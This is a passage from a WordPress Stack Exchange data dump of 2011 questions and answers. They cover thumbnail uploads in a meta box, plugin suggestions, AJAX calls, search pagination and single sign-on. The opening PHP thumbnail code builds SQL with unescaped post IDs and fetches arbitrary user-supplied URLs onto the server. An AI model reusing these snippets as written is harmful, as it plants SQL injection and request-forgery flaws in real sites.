)&#xA;    {&#xA;?&amp;gt;&#xA;&amp;lt;div style=&quot;float: left; margin-right: 10px;&quot;&amp;gt;&#xA;    &amp;lt;img style=&quot;border: 1px solid #ccc; padding: 3px;&quot; src=&quot;&amp;lt;?php echo THUMB_URL . $thumb; ?&amp;gt;&quot; alt=&quot;Thumbnail preview&quot; /&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php&#xA;    }&#xA;    else&#xA;    {&#xA;?&amp;gt;&#xA;&amp;lt;div style=&quot;float: left; margin-right: 10px; width: 200px; height: 150px; line-height: 150px; border: solid 1px #ccc; text-align: center;&quot;&amp;gt;Thumbnail preview&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php } ?&amp;gt;&#xA;&#xA;&amp;lt;div style=&quot;float: left;&quot;&amp;gt;&#xA;    &amp;lt;p&amp;gt;&#xA;        &amp;lt;label for=&quot;thumb-url-upload&quot;&amp;gt;&amp;lt;?php _e(&quot;Upload via URL, or Select Image (Below)&quot;); ?&amp;gt;:&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;        &amp;lt;input style=&quot;width: 300px; margin-top:5px;&quot; id=&quot;thumb-url-upload&quot; name=&quot;thumb-url-upload&quot; type=&quot;text&quot; /&amp;gt;&#xA;    &amp;lt;/p&amp;gt;    &#xA;    &amp;lt;p&amp;gt;&#xA;        &amp;lt;p&amp;gt;&amp;lt;label for=&quot;thumbnail&quot;&amp;gt;&amp;lt;?php _e(&quot;Upload a thumbnail&quot;); ?&amp;gt;:&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;        &amp;lt;input id=&quot;thumbnail&quot; type=&quot;file&quot; name=&quot;thumbnail&quot; /&amp;gt;&#xA;    &amp;lt;/p&amp;gt;&#xA;    &amp;lt;p&amp;gt;&amp;lt;input id=&quot;thumb-delete&quot; type=&quot;checkbox&quot; name=&quot;thumb-delete&quot;&amp;gt; &amp;lt;label for=&quot;thumb-delete&quot;&amp;gt;&amp;lt;?php _e(&quot;Delete thumbnail&quot;); ?&amp;gt;&amp;lt;/label&amp;gt;&amp;lt;/p&amp;gt;&#xA;&#xA;    &amp;lt;p style=&quot;margin:10px 0 0 0;&quot;&amp;gt;&amp;lt;input id=&quot;publish&quot; class=&quot;button-primary&quot; type=&quot;submit&quot; value=&quot;&amp;lt;?php _e(&quot;Update Post&quot;); ?&amp;gt;&quot; accesskey=&quot;p&quot; tabindex=&quot;5&quot; name=&quot;save&quot;/&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;clear&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php&#xA;}&#xA;&#xA;function post_save_thumb( $postID )&#xA;{&#xA;global $wpdb;&#xA;&#xA;// Get the correct post ID if revision.&#xA;if ( $wpdb-&amp;gt;get_var(&quot;SELECT post_type FROM $wpdb-&amp;gt;posts WHERE ID=$postID&quot;)=='revision')&#xA;    $postID = $wpdb-&amp;gt;get_var(&quot;SELECT post_parent FROM $wpdb-&amp;gt;posts WHERE ID=$postID&quot;);&#xA;&#xA;if ( $_POST['thumb-delete'] )&#xA;{&#xA;    @unlink(THUMB_DIR . get_post_meta($postID, 'custom_thumbnail', true));&#xA;    delete_post_meta($postID, 'custom_thumbnail');&#xA;}&#xA;elseif ( $_POST['thumb-url-upload'] || !empty($_FILES['thumbnail']['tmp_name']) )&#xA;{&#xA;    if ( !empty($_FILES['thumbnail']['name']) )&#xA;        preg_match(&quot;/(\.(?:jpg|jpeg|png|gif))$/i&quot;, $_FILES['thumbnail']['name'], $matches);&#xA;    else&#xA;        preg_match(&quot;/(\.(?:jpg|jpeg|png|gif))$/i&quot;, $_POST['thumb-url-upload'], $matches);&#xA;&#xA;    $thumbFileName = $postID . strtolower($matches[0]);&#xA;&#xA;    // Location of thumbnail on server.&#xA;    $loc = THUMB_DIR . $thumbFileName;&#xA;&#xA;    $thumbUploaded = false;&#xA;&#xA;    if ( $_POST['thumb-url-upload'] )&#xA;    {&#xA;        // Try just using fopen to download the image.&#xA;        if( ini_get('allow_url_fopen') )&#xA;        {&#xA;            copy($_POST['thumb-url-upload'], $loc);&#xA;            $thumbUploaded = true;&#xA;&#xA;        }&#xA;        else&#xA;&#xA;        // If fopen doesn't work, try cURL.&#xA;        if( function_exists('curl_init') )&#xA;        {&#xA;            $ch = curl_init($_POST['thumb-url-upload']);&#xA;            $fp = fopen($loc, &quot;wb&quot;);&#xA;&#xA;            $options = array(CURLOPT_FILE =&amp;gt; $fp,&#xA;                CURLOPT_HEADER =&amp;gt; 0,&#xA;                CURLOPT_FOLLOWLOCATION =&amp;gt; 1,&#xA;                CURLOPT_TIMEOUT =&amp;gt; 60);&#xA;            curl_setopt_array($ch, $options);&#xA;&#xA;            curl_exec($ch);&#xA;            curl_close($ch);&#xA;&#xA;            fclose($fp);&#xA;            $thumbUploaded = true;&#xA;        }&#xA;    }&#xA;    else&#xA;&#xA;    // Attempt to move the uploaded thumbnail to the thumbnail directory.&#xA;    if ( !empty($_FILES['thumbnail']['tmp_name']) &amp;amp;&amp;amp; move_uploaded_file($_FILES['thumbnail']['tmp_name'], $loc) )&#xA;        $thumbUploaded = true;&#xA;&#xA;    if ( $thumbUploaded )&#xA;    {&#xA;        if ( !update_post_meta($postID, 'custom_thumbnail', $thumbFileName) )&#xA;            add_post_meta($postID, 'custom_thumbnail', $thumbFileName);&#xA;    }&#xA;&#xA;}&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="70" LastActivityDate="2011-04-29T14:55:20.570" Title="upload image in a meta box" Tags="&lt;posts&gt;&lt;images&gt;&lt;metabox&gt;" AnswerCount="1" />
  <row Id="15948" PostTypeId="2" ParentId="15933" CreationDate="2011-04-29T14:48:53.477" Score="0" ViewCount="" Body="&lt;p&gt;Take a look at the answer of @toscho - &lt;a href=&quot;http://wordpress.stackexchange.com/questions/15483/symbolic-links-on-dev-box-with-plugins-and-stylesheets&quot;&gt;Symbolic Links on dev box with plugins and stylesheets.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-04-29T14:48:53.477" />
  <row Id="15949" PostTypeId="2" ParentId="15947" CreationDate="2011-04-29T14:55:20.570" Score="2" ViewCount="" Body="&lt;p&gt;You may want to take a look at Steve Taylors plugin and his approach: &lt;a href=&quot;http://sltaylor.co.uk/blog/hijacking-the-wordpress-media-library-overl&quot; rel=&quot;nofollow&quot;&gt;http://sltaylor.co.uk/blog/hijacking-the-wordpress-media-library-overl&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-04-29T14:55:20.570" CommentCount="1" />
  <row Id="15950" PostTypeId="2" ParentId="15562" CreationDate="2011-04-29T14:58:52.383" Score="1" ViewCount="" Body="&lt;p&gt;I always suggest a PSR-0 compatible autoloader and a library folder that just works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some WP users might shoot you then but perhaps you're not focused on these users, so this can be an option. Especially if you get more and more vendor specific libs.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2011-04-29T14:58:52.383" />
  <row Id="15951" PostTypeId="1" AcceptedAnswerId="15961" CreationDate="2011-04-29T15:09:07.540" Score="0" ViewCount="205" Body="&lt;p&gt;I need a plugin to display a calendar as a widget (similar to the WP one) but instead of displaying the dates when posts were added I need to display the date of events, so when I click on that date it displays a list of the events scheduled for that day. Exactly like the WordPress widget works except that I need to show events in future dates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="3893" LastEditorUserId="205" LastEditorDisplayName="" LastEditDate="2011-04-29T16:42:41.297" LastActivityDate="2011-04-29T17:33:53.363" Title="Does anyone knows a good calendar/events plugin?" Tags="&lt;plugin-recommendation&gt;&lt;widgets&gt;&lt;events&gt;" AnswerCount="1" />
  <row Id="15952" PostTypeId="1" AcceptedAnswerId="16003" CreationDate="2011-04-29T15:10:46.960" Score="0" ViewCount="72" Body="&lt;p&gt;I have a problem when i want to upgrade Wordpress or install plugin via the Admin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's say that I don't have the permission to write. but I can upload images and other things... but i cannot install plugin and/or update plugin/WordPress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that my user server is not the file owner but is part of the group owner.&lt;/p&gt;&#xA;" OwnerUserId="384" LastActivityDate="2011-04-30T03:17:48.190" Title="Upgrading WordPress (File permission group owner)" Tags="&lt;upgrade&gt;&lt;permissions&gt;&lt;wp-filesystem&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="15953" PostTypeId="1" CreationDate="2011-04-29T15:22:06.080" Score="1" ViewCount="143" Body="&lt;p&gt;just 1 click ..and it duplicates ALL content, settings, css, plugins..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ideally im looking for a plugin that adds a new link to Sites admin; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit | Dashboard | Deactivate | Archive | Spam | Delete | Visit | &lt;strong&gt;DUPLICATE&lt;/strong&gt;... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;it should copy ALL settings/configs. &#xA;and create a new subdomain instance in the &lt;strong&gt;existing&lt;/strong&gt; Multisite &lt;/p&gt;&#xA;&#xA;&lt;p&gt;does this silver bullet exist?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;art&lt;/p&gt;&#xA;" OwnerUserId="4992" LastEditorUserId="4992" LastEditorDisplayName="" LastEditDate="2011-04-29T15:47:11.560" LastActivityDate="2011-08-28T11:36:10.540" Title="Plugin Exist?? Duplicate a Multi-Site Subdomain" Tags="&lt;plugins&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="15954" PostTypeId="1" AcceptedAnswerId="15989" CreationDate="2011-04-29T15:26:42.843" Score="2" ViewCount="295" Body="&lt;p&gt;I've set 2 new roles for my site using the &quot;Members&quot; plugin - &quot;sellers&quot; and &quot;buyers&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each role should have its own registration page and login.&#xA;A visitor can register as both a buyer and a seller but he can only be logged in as one of them.&#xA;So, if a visitor has logged in as a seller and then goes to the buyer page he'll be able to login as a buyer and when he does so he will automatically be logged out as a seller.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've searched for hours for a plugin that will give me the option to do this but couldn't find one.&#xA;Sounds like a pretty common configuration in websites with different role registrations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does a plugin such as this even exist?&#xA;And if not how can this be done?&lt;/p&gt;&#xA;" OwnerUserId="4993" LastEditorUserId="490" LastEditorDisplayName="" LastEditDate="2011-04-29T15:45:02.757" LastActivityDate="2011-06-15T17:23:06.413" Title="Separate registration and login for different roles" Tags="&lt;login&gt;&lt;roles&gt;&lt;registration&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="1" />
  <row Id="15955" PostTypeId="2" ParentId="15953" CreationDate="2011-04-29T15:28:06.297" Score="0" ViewCount="" Body="&lt;p&gt;There are a number of plugins that backup the database as well as WordPress files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking at the &lt;a href=&quot;http://wordpress.org/extend/plugins/tags/backup&quot; rel=&quot;nofollow&quot;&gt;plugins associated with the backup tag&lt;/a&gt;, the following look useful:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;BackupWordPress&lt;/li&gt;&#xA;&lt;li&gt;XCloner&lt;/li&gt;&#xA;&lt;li&gt;Backup and Move Plugin&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-04-29T15:28:06.297" CommentCount="1" />
  <row Id="15956" PostTypeId="2" ParentId="15954" CreationDate="2011-04-29T15:41:50.973" Score="-3" ViewCount="" Body="&lt;p&gt;Hey Ash, I know &lt;a href=&quot;http://codecanyon.net/item/white-label-branding-for-wordpress/125617&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; is a great &lt;a href=&quot;http://codecanyon.net/item/white-label-branding-for-wordpress/125617&quot; rel=&quot;nofollow&quot;&gt;plugin&lt;/a&gt; and might be useful as it can set different permissions and user roles in the admin. &lt;/p&gt;&#xA;" OwnerUserId="4640" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-05-18T05:47:17.337" LastActivityDate="2011-05-18T05:47:17.337" CommentCount="2" />
  <row Id="15957" PostTypeId="1" CreationDate="2011-04-29T15:56:05.783" Score="0" ViewCount="55" Body="&lt;p&gt;My site is www.mystressrelief.co &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like the top header pages to have their corresponding category feed on them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if I went to the Advice &amp;amp; Tips page... I could have custom text/images above the (10) latest posts in the advice &amp;amp; tips category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any Ideas?  I would really appreciate and help or knowledge you might have.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;THANK YOU!&lt;/p&gt;&#xA;" OwnerUserId="4995" LastActivityDate="2011-04-29T15:56:05.783" Title="How do I get my category feed to show up on a page?" Tags="&lt;categories&gt;" />
  <row Id="15958" PostTypeId="1" CreationDate="2011-04-29T16:04:05.313" Score="0" ViewCount="135" Body="&lt;p&gt;what line of code can i add to my search page in order to display the results up to 3-5 pages per &quot;search&lt;/p&gt;&#xA;" OwnerUserId="4996" LastActivityDate="2011-04-29T16:43:22.917" Title="what code to add to search.php" Tags="&lt;pagination&gt;&lt;search&gt;&lt;code&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="15959" PostTypeId="2" ParentId="15952" CreationDate="2011-04-29T16:32:17.607" Score="0" ViewCount="" Body="&lt;p&gt;I have had the same issue and it is do to how apache and wordpress communicate. It has to have both owner and group permission to install from backend. The only really way to get around this is to see if your host has a server setup that way or you get your own server weather it be vpn, dedicated, or cloud. I personally to the challenge and used &lt;a href=&quot;http://www.rackspace.com/cloud/&quot; rel=&quot;nofollow&quot;&gt;rackspace cloud server&lt;/a&gt; and setup my server with what i wanted on it and how it was programmed to run. It cost me about 12-13 a month but the speed is way better and the fact that you get root permission from the start is better and to top it off no other users on that virtual server. There are others on the system your server resides on but not 5000 people on one system like you can find on a shared environment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One final tip do not use wordpress auto upgrade it is best to do it manually yes it is a pain but it insures that you wont have an issue and not be able to fix it check out this article &lt;a href=&quot;http://wpmu.org/oops-i-broke-wordpress-how-to-fix-your-auto-update-problems/&quot; rel=&quot;nofollow&quot;&gt;From WPMU.ORG&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4998" LastActivityDate="2011-04-29T16:32:17.607" CommentCount="1" />
  <row Id="15960" PostTypeId="2" ParentId="15958" CreationDate="2011-04-29T16:43:22.917" Score="1" ViewCount="" Body="&lt;p&gt;If I understand correctly, you want to show more results on your search results page? this is defined by the posts per page setting in the admin panel, but can be modified in the search.php template by adding this before the loop:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$myquery = &quot;&amp;amp;posts_per_page=50&quot;; // set to number of results you want per page&#xA;$myquery = $query_string.$myquery;&#xA;query_posts($myquery);&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-04-29T16:43:22.917" />
  <row Id="15961" PostTypeId="2" ParentId="15951" CreationDate="2011-04-29T17:33:53.363" Score="1" ViewCount="" Body="&lt;p&gt;Try the &lt;a href=&quot;http://wordpress.org/extend/plugins/events-manager/&quot; rel=&quot;nofollow&quot; title=&quot;Event Manager&quot;&gt;Events Manager&lt;/a&gt; plugin, it's quite powerful and highly customizable. And it's as Widget Support that is customizable too!&lt;/p&gt;&#xA;" OwnerUserId="2727" LastActivityDate="2011-04-29T17:33:53.363" CommentCount="1" />
  <row Id="15962" PostTypeId="2" ParentId="15821" CreationDate="2011-04-29T17:47:02.117" Score="0" ViewCount="" Body="&lt;h1&gt;Making the title click-able&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;WordPress won't let you pass HTML code in the title of the widget, but it does have the handy parameters &lt;code&gt;$before_title&lt;/code&gt; and &lt;code&gt;$after_title&lt;/code&gt; that you can use to manipulate things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your widget, just add the first part of the link (&lt;code&gt;&amp;lt;a href=&quot;...&quot;&amp;gt;&lt;/code&gt;) to the &lt;em&gt;end&lt;/em&gt; of &lt;code&gt;$before_title&lt;/code&gt; and the last part of the link (&lt;code&gt;&amp;lt;/a&amp;gt;&lt;/code&gt;) to the &lt;em&gt;beginning&lt;/em&gt; of &lt;code&gt;$after_title&lt;/code&gt; and your title will automatically be linked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You do this after you extract the arguments in the &lt;code&gt;widget()&lt;/code&gt; method ... so in your code, find the section:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ob_start();&#xA;extract($args);&#xA;&#xA;$title = apply_filters('widget_title', empty($instance['title']) ? __('Recent Staff News') : $instance['title'], $instance, $this-&amp;gt;id_base);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And add:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$before_title .= '&amp;lt;a href=&quot;http://something.com&quot;&amp;gt;';&#xA;$after_title = '&amp;lt;/a&amp;gt;' . $after_title;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then you'll be linked!&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Changing the default widgets&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;You can't apply this method to the default widgets directly, but there is a workaround using object inheritance.  Just define your own custom widgets that &lt;em&gt;extend&lt;/em&gt; the default widgets:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class My_Widget_Recent_Posts extends WP_Widget_Recent_Posts {&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You'll have to redefine the widget name and such in the constructor, then redefine the &lt;code&gt;widget()&lt;/code&gt; method by copying what's already there but applying our &lt;code&gt;$before_title&lt;/code&gt;/&lt;code&gt;$after_title&lt;/code&gt; hack from above.  Your new version of the default widget will have linkable titles!&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2011-04-29T17:47:02.117" CommentCount="3" />
  <row Id="15963" PostTypeId="1" AcceptedAnswerId="21392" CreationDate="2011-04-29T18:00:36.497" Score="0" ViewCount="193" Body="&lt;p&gt;I'd like to pull data from a mySQL database and put it in some tables in a WP page. I'm using WP 3.1.1. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Imagine that I've got a table of sales figures that I want to pull from a mySQL database and then display them in a table on a WordPress page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know just enough php to make a db connection, pull the data, and echo it out. But, I'm not sure what is the best way to do this in conjunction with WordPress. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;a) Is it okay if I put my tables in the WordPress database? (This way I could use the WP's database connection). Would they cause some sort of conflict? Would they be over-written when I upgrade WP?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;b) Where should I put my php code? Can I just plop the php in the WP's HTML editor when I create a new page? If not, should I just make a php file and include it somewhere? If so, where would I put the include line?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;c) Is there a plugin that allows you to pull data from a database? I've seen some table plugins, but the data had to be input by hand or pulled from XML. Unfortunately, I've got too many tables to input the data by hand.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-Laxmidi&lt;/p&gt;&#xA;" OwnerUserId="4509" LastActivityDate="2011-06-29T05:00:39.200" Title="Using Dynamic Data Pulled from a MySQL Table in a WordPress Page" Tags="&lt;database&gt;&lt;mysql&gt;" AnswerCount="2" />
  <row Id="15964" PostTypeId="1" AcceptedAnswerId="15984" CreationDate="2011-04-29T18:05:18.210" Score="1" ViewCount="368" Body="&lt;p&gt;I am trying to using jquery ui tabs with ajax calls to run a function. Here is the code i am using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function ajax_load_user_feed(){&#xA;    if(isset($_GET['type'])) $type = $_GET['type'];&#xA;    if(isset($_GET['userid'])) $userid = $_GET['userid'];&#xA;&#xA;    if(!$type &amp;amp;&amp;amp; !$userid){&#xA;        $type = 'error';&#xA;        show_feed($type);&#xA;        die();&#xA;    } else {&#xA;        $user_info = get_userdata($userid);&#xA;        show_feed($type, $user_info);&#xA;        die();&#xA;    }&#xA;}&#xA;add_action('wp_ajax_load_user_feed', 'ajax_load_user_feed');&#xA;&#xA;&#xA;function show_feed($type, $user){&#xA;    if($type == 'rss'){&#xA;      echo '&amp;lt;div&amp;gt;Show rss Feed&amp;lt;/div&amp;gt;';&#xA;&#xA;    } elseif($type == 'twitter'){&#xA;        echo '&amp;lt;div&amp;gt;Show twitter Feed&amp;lt;/div&amp;gt;';&#xA;&#xA;    } elseif($type == 'facebook'){&#xA;        echo '&amp;lt;div&amp;gt;Show Facebook Feed&amp;lt;/div&amp;gt;';&#xA;    } elseif($type == 'error'){&#xA;        echo '&amp;lt;div class=&quot;feed_error&quot;&amp;gt;Something is wrong with the request!&amp;lt;/div&amp;gt;';&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The html for jqurey ui tabs:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;tabs&quot;&amp;gt;&#xA;&#xA;                        &amp;lt;ul id=&quot;social-media-activity-button&quot; class=&quot;tabs&quot;&amp;gt;&#xA;                            &amp;lt;?php  if($author-&amp;gt;feeds): ?&amp;gt;&#xA;                                    &amp;lt;li class=&quot;activity-blogs&quot;&amp;gt;&amp;lt;a title=&quot;activity_feed&quot; href=&quot;&amp;lt;?php bloginfo('wpurl'); ?&amp;gt;/wp-admin/admin-ajax.php?action=load_user_feed&amp;amp;type=rss&amp;amp;userid=&amp;lt;?php echo $author-&amp;gt;ID; ?&amp;gt;&quot;&amp;gt;Blogs&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                                &amp;lt;?php endif; if($author-&amp;gt;twitter): ?&amp;gt;&#xA;                                &amp;lt;li class=&quot;activity-twitter&quot;&amp;gt;&amp;lt;a title=&quot;activity_feed&quot; href=&quot;&amp;lt;?php bloginfo('wpurl'); ?&amp;gt;/wp-admin/admin-ajax.php?action=load_user_feed&amp;amp;type=twitter&amp;amp;userid=&amp;lt;?php echo $author-&amp;gt;ID; ?&amp;gt;&quot;&amp;gt;Twitter&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                                &amp;lt;?php endif; if($author-&amp;gt;facebook): ?&amp;gt;&#xA;                                &amp;lt;li class=&quot;activity-facebook&quot;&amp;gt;&amp;lt;a title=&quot;activity_feed&quot; href=&quot;&amp;lt;?php bloginfo('wpurl'); ?&amp;gt;/wp-admin/admin-ajax.php?action=load_user_feed&amp;amp;type=facebook&amp;amp;userid=&amp;lt;?php echo $author-&amp;gt;ID; ?&amp;gt;&quot;&amp;gt;Facebook&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                                &amp;lt;?php endif; ?&amp;gt;&#xA;                        &amp;lt;/ul&amp;gt;&#xA;&#xA;                        &amp;lt;h2 class=&quot;dotted&quot;&amp;gt;Activity Feed&amp;lt;/h2&amp;gt;&#xA;&#xA;                        &amp;lt;div id=&quot;activity_feed&quot;&amp;gt;&#xA;&#xA;                        &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What i am trying to do here is calling admin-ajax.php file to call the function &lt;code&gt;load_user_feed();&lt;/code&gt; function. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now the code is works for logged in users only. I mean when users logged in the see the feeds but logged out users are seeing only &lt;code&gt;-1&lt;/code&gt; in output. Here is the page: &lt;a href=&quot;http://citystir.com/author/designdons/&quot; rel=&quot;nofollow&quot;&gt;http://citystir.com/author/designdons/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There must be some good way to call ajax with jquery ui tabs. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Waiting for your help. Thanks!&lt;/p&gt;&#xA;" OwnerUserId="3094" LastActivityDate="2011-04-29T21:28:16.717" Title="How to make ajax call in wordpress in right way?" Tags="&lt;wp-admin&gt;&lt;jquery&gt;&lt;ajax&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" />
  <row Id="15966" PostTypeId="1" AcceptedAnswerId="16369" CreationDate="2011-04-29T18:15:57.980" Score="0" ViewCount="63" Body="&lt;ul&gt;&#xA;&lt;li&gt;I've installed &lt;a href=&quot;http://www.wpeasyposttypes.com/documentation/theming#custom-post-templates&quot; rel=&quot;nofollow&quot;&gt;Easy Post Types&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;created a custom post type: Attractions&lt;/li&gt;&#xA;&lt;li&gt;created an Attraction: (joes-cafe)&lt;/li&gt;&#xA;&lt;li&gt;created a category set: attraction-type (cafe)&lt;/li&gt;&#xA;&lt;li&gt;copied single.php to single-attractions.php&lt;/li&gt;&#xA;&lt;li&gt;added the category: cafe to wp-navigation-menu&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;But when I visit the menu item, I get a 404,&#xA;when i search for the cafe by name, i see an excerpt, but clicking its title gives me a 404!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any Clues? What am i doing wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using a Thematic child theme, and i duplicated single-attractions.php as single-attraction.php just in case, because i found the distinction confusing...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks, Tim&lt;/p&gt;&#xA;" OwnerUserId="4994" LastActivityDate="2011-05-04T21:03:58.300" Title="Easy-Post-Type is visible in search, but 404 when clicked" Tags="&lt;custom-post-types&gt;" AnswerCount="1" CommentCount="5" />
  <row Id="15967" PostTypeId="2" ParentId="15712" CreationDate="2011-04-29T18:18:06.527" Score="3" ViewCount="" Body="&lt;p&gt;Try this one:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA;* flush_rewrite_rules()&#xA;* Flush the rewrite rules, which forces the regeneration with new rules.&#xA;* return void.&#xA;**/&#xA;function flush_rewrite_rules() &#xA;{&#xA;    global $wp_rewrite;&#xA;    $wp_rewrite-&amp;gt;flush_rules();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-04-29T18:18:06.527" CommentCount="2" />
  <row Id="15968" PostTypeId="2" ParentId="15963" CreationDate="2011-04-29T18:35:24.563" Score="2" ViewCount="" Body="&lt;p&gt;You can put the tables in the WordPress database. The &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wpdb_Class&quot; rel=&quot;nofollow&quot;&gt;wpdb class&lt;/a&gt; can query any table:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$myrows = $wpdb-&amp;gt;get_results( &quot;SELECT id, name FROM mytable&quot; );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You could set this up as a &lt;a href=&quot;http://codex.wordpress.org/Writing_a_Plugin&quot; rel=&quot;nofollow&quot;&gt;plugin&lt;/a&gt;/&lt;a href=&quot;http://codex.wordpress.org/Shortcode_API&quot; rel=&quot;nofollow&quot;&gt;shortcode&lt;/a&gt;, or you could put it directly in a custom page template.&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-04-29T18:35:24.563" CommentCount="1" />
  <row Id="15969" PostTypeId="1" CreationDate="2011-04-29T18:43:39.053" Score="0" ViewCount="176" Body="&lt;p&gt;I have 5 different Multisite Installations  . I want the registration of all the Multi-Site Installations(Not only sub-sites, the entire installations) as single-sign-on . So a user can login to all the sites if he/she register on one Single website. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could use Some OAuth plugins or Single-sign-on plugins. But they still need two steps to register and login on each WordPress Site. So I would like to customize or use any plugin to do so. I know some PHP and will try to do if any body help me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could anybody let me know if I should do it by coding or using a plugin?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note : I am using WordPress Installation of 3.1.1 and VPS Server  of CentOS  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update : &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I heard about a few options like LDAP, Cosign on etc. There are a few plugins like &lt;a href=&quot;http://wordpress.org/extend/plugins/simple-ldap-login/&quot; rel=&quot;nofollow&quot;&gt;LDAP&lt;/a&gt;, &lt;a href=&quot;http://wordpress.org/extend/plugins/cosign-sso/&quot; rel=&quot;nofollow&quot;&gt;CoSign SSO&lt;/a&gt; etc . I don't know how to make use of them . Could anybody let me know if they help me in this situation?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;BTW, I have activated &lt;a href=&quot;http://wordpress.org/extend/plugins/xauth/&quot; rel=&quot;nofollow&quot;&gt;XAuth&lt;/a&gt; and I don't know how to get started with it&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks !&lt;/p&gt;&#xA;" OwnerUserId="391" LastEditorUserId="391" LastEditorDisplayName="" 